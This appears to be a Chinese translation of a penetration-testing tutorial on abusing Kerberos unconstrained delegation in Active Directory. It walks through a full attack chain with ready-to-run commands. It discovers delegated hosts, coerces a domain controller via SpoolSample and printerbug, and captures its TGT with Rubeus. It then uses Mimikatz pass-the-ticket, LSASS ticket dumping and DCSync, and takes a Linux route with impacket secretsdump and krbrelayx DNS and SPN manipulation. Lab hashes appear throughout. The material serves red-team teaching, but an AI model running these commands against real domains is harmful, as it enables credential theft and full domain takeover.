开卷有益 · 不求甚解
Microsoft 支持用户通过 Kerberos 对一个系统进行身份验证并且信息需要在另一个系统上更新的方案实施了无约束委派。这是自 Windows 2000 以来在 Windows 生态系统中实现的。配置为无约束委派的系统会将 TGT(Ticket Granting Ticket)存储到 LSASS 内存中,以使用户能够访问最终资源。
更具体地说,域控制器将用户 TGT 的副本放入服务票证中。当用户的服务票证 (TGS) 提供给服务器以进行服务访问时,服务器打开 TGS 并将用户的 TGT 放入 LSASS 以供以后使用,从而允许服务器模拟用户。获取票证可能会导致域升级,因为票证可能属于域控制器的计算机帐户或域管理员等高权限帐户。对于代表其他服务(无约束委派)进行身份验证的计算机,需要两个条件:
下图表示 Active Directory 中配置为无约束委派的主机:
委托委托计算机
从 PowerShell 控制台识别配置为无约束委派的系统是微不足道的。执行模块“ Get-ADComputer ”并过滤结果以显示属性“ trustedfordelegation ”的输出将确定执行操作的主机是否配置为无约束委托。
Get-ADComputer` `-Filter` `{TrustedForDelegation ``-eq` `$true` `-and` `primarygroupid ``-eq` `515}` `-Properties` `trustedfordelegation,serviceprincipalname,description
无约束委派 - 检索 Active Directory 计算机
可以列举的其他有趣的属性是:
Get-ADComputer` `"Hive"` `-Properties` `TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount
无约束委派 – 计算机属性
使用查询“ userAccountControl ”属性的相同模块可以提供相同的结果。
Get-ADComputer` `-LDAPFilter` `"(userAccountControl:1.2.840.113556.1.4.803:=524288)"
无约束委派 – 用户帐户控制
或者,PowerView中的“ Get-NetComputer ”模块可用于发现配置为无约束委派的主机。
Get-NetComputer` `-Unconstrained
无约束委派 – PowerView
有多种协议可以强制域控制器的机器帐户与系统上的其他主机进行身份验证,例如 spoolsample 和加密文件服务远程过程调用。但是,捕获机器帐户的票证需要 Rubeus 以监控状态模式运行。
Rubeus.exe monitor /monitorinterval:10 /targetuser:DC$ /nowrap
Rubeus – TGT 监控
打印机错误的执行将强制域控制器向配置为无约束委派的工作站进行身份验证。
SpoolSample.exe dc hive
无约束委派 – SpoolSample
域控制器机器帐户的票证授予票证(TGT)将被 Rubeus 接收和捕获。
Rubeus – DC$ 机器账户票
票据将采用 base64 格式,因此不能直接使用。但是,从 PowerShell 控制台执行以下命令将转换票证并将内容写入扩展名为 .kirbi 的文件。
[IO.File]``::WriteAllBytes(``"C:\Users\pentestlab.PURPLE\Desktop\DC.kirbi"``, ``[Convert]``::FromBase64String(``"Base64"``))
将 Base64 票证转换为 Kirbi
使用 Mimikatz 中的 Pass the Ticket,当前用户帐户将在域控制器上获得高权限。这可以通过使用 DCSync 技术来验证,以便转储域管理员帐户的 NTLM 哈希并通过在域控制器上传递哈希来执行命令。
kerberos::ptt DC.kirbi
lsadump::dcsync /domain:purple.lab /user:Administrator
Mimikatz – 传票
域管理员使用 PowerShell 脚本在主机上执行远程任务或构建 HTTP 请求的情况并不少见,这些请求可以出于业务原因在服务器中定期执行。如果在提升凭据的上下文中执行这些脚本,Kerberos 票证也可以从 LSASS 进程中生成和提取以用于域升级。
Invoke-WebRequest http://ca.purple.lab -UseDefaultCredentials -UseBasicParsing
HTTP 请求
管理员账户的票据会被缓存到 LSASS 进程的内存中。Mimikatz 可以与这个过程进行交互,并且有一个特定的模块将尝试检索缓存的票证。
privilege::debug
sekurlsa::tickets
无约束委派 – 管理员 TGT
通过直接从 Mimikatz 执行以下命令,可以在本地导出票证。
sekurlsa::tickets /export
Mimikatz – 出口管理员票
Rubeus 的分类操作将在表格中显示存储在内存中的可用 Kerberos 票据及其相关服务。
Rubeus triage
鲁伯——分流
由于缓存中存在属于域管理员的票证,因此执行以下命令将转储该用户的所有票证。
Rubeus.exe dump /user:Administrator
Rubeus – 转储管理员票
Rubeus – 转储票
域管理员的票据可以在当前系统上使用,也可以转移到另一个主机上,以便与支持将 Kerberos 票据导入内存的 Mimikatz 或 Rubeus 一起使用。
kerberos::ptt C:\Users\pentestlab.PURPLE\[email protected]
Mimikatz – 传票
执行“ klist ”将验证票证是否已缓存在当前会话的内存中。
klist
列出 Kerberos 票证
使用ticket访问域控制器已经实现,可以通过列出C:盘的内容来确认。
dir \\dc.purple.lab\C$
直流访问
与包括 Kerberos 滥用在内的大多数技术一样,可以从非域加入系统执行无约束委派,因为存在复制上述执行步骤的支持工具。Impacket 有一个 python 脚本,如果提供了有效的域凭据,可用于识别域上配置为委托的系统。
python3 findDelegation.py purple.lab/pentestlab:Password1234
无约束委派 – Impacket
一旦获得管理访问权限,Impacket 模块“ secretsdump ”可用于检索其主机配置为无约束委派的机器帐户的 NTLM 哈希。
secretsdump.py [email protected]
秘密转储
Secretsdump - 机器帐户哈希
krbrelayx是一组由Dirk-Jan Mollema开发的 python 工具,可用于从基于 Linux 的系统中有效地滥用无约束委托。使用机器帐户 (HIVE$) 的 NTLM 哈希通过“ addspn ”python 脚本对活动目录进行身份验证,以绑定到域控制器并检索有关修改目标的信息。
python3 addspn.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -s HOST/kali.purple.lab -q dc.purple.lab
krbrelayx - 添加pn
使用带有“ –additional ”标志的相同命令,机器帐户的服务主体名称将通过“ msDS-AdditionalDnsHostName ”属性修改,以包含“HOST/kali.purple.lab”服务主体名称。
python3 addspn.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -s HOST/kali.purple.lab dc.purple.lab --additional
SPN 修改
强制域控制器的机器帐户向主机进行身份验证需要 DNS 名称而不是 IP 地址。由于攻击将从未加入域的主机执行,因此 DNS 服务器将没有任何 DNS 记录。但是,使用“ dnstool ”将通过执行以下命令在主机的域控制器上添加 DNS 记录:
python3 dnstool.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -r kali.purple.lab -d 10.0.0.3 --action add dc.purple.lab
无约束委派 – DNS 记录
类似地,可以通过创建 A 记录来将 DNS 记录添加到域控制器上,以将 10.0.0.3(Kali IP 地址)解析为“ kali2.purple.lab ”。
python3 dnstool.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -r kali2.purple.lab -a add -t A -d 10.0.0.3 10.0.0.1
krbrelayx – DNS 记录
执行“ nslookup ”将验证 DNS 条目,并且主机现在解析为“ kali1.purple.lab ”。
nslookup kali1.purple.lab 10.0.0.1
nslookup
“ krbrelayx ”可以获取先前转储的机器帐户的 AES 密钥,以便用于 Kerberos 身份验证。默认情况下将创建两个侦听器 SMB 和 HTTP。
sudo python3 krbrelayx.py -aesKey b4dc28d2ec920d4f87bc1d610f2b6e8e1114aec5135797482020893b3aad03c6
krbrelayx – 监听
下一步是强制域控制器的机器帐户向正在运行侦听器的主机进行身份验证。打印机错误 (SpoolSample) 或 PetitPotam 可以使用为无约束委派配置的机器帐户的 NTLM 哈希和侦听器正在运行的主机名。
python3 printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 purple.lab/Hive\[email protected].purple.lab kali.purple.lab
krbrelayx – 打印机错误
一旦触发身份验证,域控制器机器帐户的票证将被检索并保存在主机的缓存中。这是因为域控制器对任意主机的身份验证将使用 Kerberos 身份验证来执行。由于票证属于域控制器的提升帐户,因此已实现域升级,并且可以通过 DCSync 技术检索域哈希。
krbrelayx – Kerberos 票